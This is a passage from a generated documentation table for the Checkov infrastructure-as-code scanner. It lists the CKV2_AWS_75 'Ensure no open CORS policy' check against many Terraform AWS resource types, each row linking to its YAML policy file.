[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2331 | CKV2_AWS_75 | resource | aws_chatbot_slack_channel_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2332 | CKV2_AWS_75 | resource | aws_chatbot_teams_channel_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2333 | CKV2_AWS_75 | resource | aws_chime_voice_connector | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2334 | CKV2_AWS_75 | resource | aws_chime_voice_connector_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2335 | CKV2_AWS_75 | resource | aws_chime_voice_connector_logging | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2336 | CKV2_AWS_75 | resource | aws_chime_voice_connector_origination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2337 | CKV2_AWS_75 | resource | aws_chime_voice_connector_streaming | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2338 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2339 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination_credentials | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2340 | CKV2_AWS_75 | resource | aws_chimesdkmediapipelines_media_insights_pipeline_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2341 | CKV2_AWS_75 | resource | aws_chimesdkvoice_global_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2342 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_media_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2343 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2344 | CKV2_AWS_75 | resource | aws_chimesdkvoice_voice_profile_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2345 | CKV2_AWS_75 | resource | aws_cleanrooms_collaboration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2346 | CKV2_AWS_75 | resource | aws_cleanrooms_configured_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2347 | CKV2_AWS_75 | resource | aws_cleanrooms_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2348 | CKV2_AWS_75 | resource | aws_cloud9_environment_ec2 | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2349 | CKV2_AWS_75 | resource | aws_cloud9_environment_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2350 | CKV2_AWS_75 | resource | aws_cloudcontrolapi_resource | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2351 | CKV2_AWS_75 | resource | aws_cloudformation_stack | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2352 | CKV2_AWS_75 | resource | aws_cloudformation_stack_instances | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2353 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2354 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2355 | CKV2_AWS_75 | resource | aws_cloudformation_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2356 | CKV2_AWS_75 | resource | aws_cloudfront_cache_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2357 | CKV2_AWS_75 | resource | aws_cloudfront_continuous_deployment_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2358 | CKV2_AWS_75 | resource | aws_cloudfront_distribution | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2359 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2360 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2361 | CKV2_AWS_75 | resource | aws_cloudfront_function | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2362 | CKV2_AWS_75 | resource | aws_cloudfront_key_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2363 | CKV2_AWS_75 | resource | aws_cloudfront_key_value_store | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2364 | CKV2_AWS_75 | resource | aws_cloudfront_monitoring_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2365 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_control | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2366 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_identity | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2367 | CKV2_AWS_75 | resource | aws_cloudfront_origin_request_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2368 | CKV2_AWS_75 | resource | aws_cloudfront_public_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2369 | CKV2_AWS_75 | resource | aws_cloudfront_realtime_log_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2370 | CKV2_AWS_75 | resource | aws_cloudfront_response_headers_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2371 | CKV2_AWS_75 | resource | aws_cloudfront_vpc_origin | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2372 | CKV2_AWS_75 | resource | aws_cloudfrontkeyvaluestore_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2373 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2374 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_hsm | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2375 | CKV2_AWS_75 | resource | aws_cloudsearch_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2376 | CKV2_AWS_75 | resource | aws_cloudsearch_domain_service_access_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2377 | CKV2_AWS_75 | resource | aws_cloudtrail | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2378 | CKV2_AWS_75 | resource | aws_cloudtrail_event_data_store | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2379 | CKV2_AWS_75 | resource | aws_cloudtrail_organization_delegated_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2380 | CKV2_AWS_75 | resource | aws_cloudwatch_composite_alarm | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2381 | CKV2_AWS_75 | resource | aws_cloudwatch_dashboard | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2382 | CKV2_AWS_75 | resource | aws_cloudwatch_event_api_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2383 | CKV2_AWS_75 | resource | aws_cloudwatch_event_archive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2384 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2385 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2386 | CKV2_AWS_75 | resource | aws_cloudwatch_event_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2387 | CKV2_AWS_75 | resource | aws_cloudwatch_event_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2388 | CKV2_AWS_75 | resource | aws_cloudwatch_event_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2389 | CKV2_AWS_75 | resource | aws_cloudwatch_event_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2390 | CKV2_AWS_75 | resource | aws_cloudwatch_event_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2391 | CKV2_AWS_75 | resource | aws_cloudwatch_log_account_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2392 | CKV2_AWS_75 | resource | aws_cloudwatch_log_anomaly_detector | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2393 | CKV2_AWS_75 | resource | aws_cloudwatch_log_data_protection_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2394 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2395 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2396 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2397 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2398 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2399 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2400 | CKV2_AWS_75 | resource | aws_cloudwatch_log_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2401 | CKV2_AWS_75 | resource | aws_cloudwatch_log_index_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2402 | CKV2_AWS_75 | resource | aws_cloudwatch_log_metric_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2403 | CKV2_AWS_75 | resource | aws_cloudwatch_log_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2404 | CKV2_AWS_75 | resource | aws_cloudwatch_log_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2405 | CKV2_AWS_75 | resource | aws_cloudwatch_log_subscription_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2406 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_alarm | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2407 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2408 | CKV2_AWS_75 | resource | aws_cloudwatch_query_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2409 | CKV2_AWS_75 | resource | aws_codeartifact_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2410 | CKV2_AWS_75 | resource | aws_codeartifact_domain_permissions_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2411 | CKV2_AWS_75 | resource | aws_codeartifact_repository | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2412 | CKV2_AWS_75 | resource | aws_codeartifact_repository_permissions_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2413 | CKV2_AWS_75 | resource | aws_codebuild_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2414 | CKV2_AWS_75 | resource | aws_codebuild_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2415 | CKV2_AWS_75 | resource | aws_codebuild_report_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2416 | CKV2_AWS_75 | resource | aws_codebuild_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2417 | CKV2_AWS_75 | resource | aws_codebuild_source_credential | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2418 | CKV2_AWS_75 | resource | aws_codebuild_webhook | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2419 | CKV2_AWS_75 | resource | aws_codecatalyst_dev_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2420 | CKV2_AWS_75 | resource | aws_codecatalyst_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2421 | CKV2_AWS_75 | resource | aws_codecatalyst_source_repository | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2422 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2423 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2424 | CKV2_AWS_75 | resource | aws_codecommit_repository | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2425 | CKV2_AWS_75 | resource | aws_codecommit_trigger | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2426 | CKV2_AWS_75 | resource | aws_codeconnections_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2427 | CKV2_AWS_75 | resource | aws_codeconnections_host | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2428 | CKV2_AWS_75 | resource | aws_codedeploy_app | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2429 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2430 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2431 | CKV2_AWS_75 | resource | aws_codeguruprofiler_profiling_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2432 | CKV2_AWS_75 | resource | aws_codegurureviewer_repository_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2433 | CKV2_AWS_75 | resource | aws_codepipeline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2434 | CKV2_AWS_75 | resource | aws_codepipeline_custom_action_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2435 | CKV2_AWS_75 | resource | aws_codepipeline_webhook | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2436 | CKV2_AWS_75 | resource | aws_codestarconnections_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2437 | CKV2_AWS_75 | resource | aws_codestarconnections_host | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2438 | CKV2_AWS_75 | resource | aws_codestarnotifications_notification_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2439 | CKV2_AWS_75 | resource | aws_cognito_identity_pool | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2440 | CKV2_AWS_75 | 